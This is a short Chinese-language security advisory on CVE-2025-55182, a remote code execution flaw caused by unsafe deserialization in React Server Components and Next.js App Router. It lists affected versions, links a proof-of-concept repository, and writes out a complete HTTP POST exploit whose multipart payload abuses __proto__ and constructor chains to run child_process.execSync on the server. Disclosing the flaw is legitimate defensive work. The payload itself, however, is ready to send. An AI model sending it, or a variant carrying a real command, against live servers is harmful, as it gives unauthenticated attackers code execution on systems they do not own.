
0x00 前言
React 是一个用于构建用户界面(UI)的 JavaScript 库,用户界面由按钮、文本和图像等小单元内容构建而成。React 帮助你把它们组合成可重用、可嵌套的 组件。从 web 端网站到移动端应用,屏幕上的所有内容都可以被分解成组件。
Next.js是Node.js生态中基于React的开源Web框架,其通过Server Actions功能提供了后端开发能力。
0x01 漏洞描述
由于React Server Components在处理HTTP请求时存在不安全地反序列化,未经身份验证的攻击者可通过构造特制表单调用Node.js内置模块,从而在目标服务器上执行任意代码 ,由于Next.js使用的App Router内嵌了React的DOM包,因此也受该漏洞影响。
0x02 CVE编号
CVE-2025-55182
0x03 影响版本
受影响的React版本:
React 19.0.0
React 19.1.0
React 19.1.1
React 19.2.0
受影响的包:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
受影响的Next.js版本:
使用React Server Components和App Router的应用程序在以下版本中受到影响:
Next.js 15.x系列(所有版本)
Next.js 16.x系列(所有版本)
Next.js 14.3.0-canary.77及后续canary版本
注:只有同时使用React Server Components和App Router的Next.js应用程序才会受到影响。 0x04 漏洞详情
POC:
https://github.com/msanft/CVE-2025-55182/
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
复现过程:
0x05 参考链接
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components